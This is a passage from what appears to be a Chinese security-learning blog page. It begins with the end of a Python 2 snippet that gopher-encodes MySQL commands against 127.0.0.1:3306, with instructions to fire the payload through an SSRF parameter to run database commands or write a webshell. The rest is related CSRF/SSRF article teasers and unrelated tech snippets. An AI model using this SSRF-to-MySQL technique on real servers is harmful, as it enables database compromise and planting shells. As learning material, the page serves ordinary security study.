return "gopher://127.0.0.1:3306/_%" + "%".join(a)
s = encode(s)
print "[+ local]", s
s = urllib.quote(s)
print "[+ url]", s
用得到的 payload 打就行了,,便可以在网页看到数据库命令执行结果
?operator=payload
注意这里的操作需要在 SSRF 的地方有回显才行,不然看不到数据库执行结果,但是如果数据库有写权限,那么便可以直接写 shell,不一定要回显
SSRF 跨站请求伪造学习笔记的更多相关文章
- CSRF 跨站请求伪造学习笔记
参考文章: 漏洞挖掘之CSRF CSRF花式绕过Referer技巧 What-是什么 CSRF(Cross-site request forgery)跨站请求伪造.攻击者通过构造特殊链接或者页面,盗用 ...
- CSRF(跨站请求伪造)学习总结
前言 参考大佬的文章,附上地址 https://www.freebuf.com/articles/web/118352.html 什么是CSRF? CSRF,中文名字,跨站请求伪造,听起来是不是和XS ...
- Weblogic服务端请求伪造漏洞(SSRF)和反射型跨站请求伪造漏洞(CSS)修复教程
一.服务端请求伪造漏洞 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...
- WebGoat学习——跨站请求伪造(Cross Site Request Forgery (CSRF))
跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF))也被称为:one click at ...
- django上课笔记3-ORM补充-CSRF (跨站请求伪造)
一.ORM补充 ORM操作三大难点: 正向操作反向操作连表 其它基本操作(包含F Q extra) 性能相关的操作 class UserInfo(models.Model): uid = models ...
- XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)
转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...
- CSRF(跨站请求伪造)攻击方式
一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...
- python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)
一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...
- Web框架之Django_09 重要组件(Django中间件、csrf跨站请求伪造)
摘要 Django中间件 csrf跨站请求伪造 一.Django中间件: 什么是中间件? 官方的说法:中间件是一个用来处理Django的请求和响应的框架级别的钩子.它是一个轻量.低级别的插件系统,用于 ...
随机推荐
- [jvm] -- 内存模型篇
内存模型 JDK1.6 JDK1.8 线程私有的: 程序计数器 虚拟机栈 本地方法栈 线程共享的: 堆 方法区 直接内存 (非运行时数据区的一部分) 程序计数器 线程私有 两个作用 字节码解释器通 ...
- vue+axios+springboot文件下载
//前台代码 <el-button size="medium" type="primary" @click="downloadFile" ...
- Pexpect模块的简单使用
Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块. Pexpect 可以用来和像 ssh.ftp.passwd.telnet 等命令行程序进行自动交互.以下所有代码都是在K ...
- pandas之cut
cut( )用来把一组数据分割成离散的区间. cut(x, bins, right=True, labels=None, retbins=False, precision=3, include_low ...
- jmeter调试元件Debug Sampler的使用
@@@@@@@@@@@@@@@ 活在当下 今天记录一下jmeter调试工具Debug Sampler的心得,调试对于计算机从业人员来说是家常便饭,jmeter虽然代码不多,但是也需要调试,那么如何进行 ...
- jmeter混合场景的多种实现方式比较
性能测试设计混合场景,一般有几种方式,分别是每个场景设置一个线程组,使用if控制器,使用吞吐量控制器.不同的方式实现机制不一样,哪种方式相比而言更好呢?下面做一比较. 下面以混合访问百度首页和必应首页 ...
- jieba.lcut方法
jieba库的作用就是对中文文章进行分词,提取中文文章中的词语 cut(字符串, cut_all,HMM) 字符串是要进行分词的字符串对象 cut_all参数为真表示采用全模式分词,为假表示采用精确模 ...
- Django学习路37_request属性
打印元信息,基本上都会打印出来 类字典结构的 key 键 允许重复 get 请求可以传参,但是长度有限制 最大不能超过 2K post 文件上传使用 get 参数 默认放在网址中 post 在 ...
- PHP date_diff() 函数
------------恢复内容开始------------ 实例 计算两个日期间的差值: <?php$date1=date_create("2013-03-15");$da ...
- odoo本地pycham环境搭建(mac)
本文以odoo12为例配置本地环境,注意不是docker环境 1.安装pycharm(推荐2020.1版本,破解地址:https://www.cnblogs.com/xuexianqi/p/12767 ...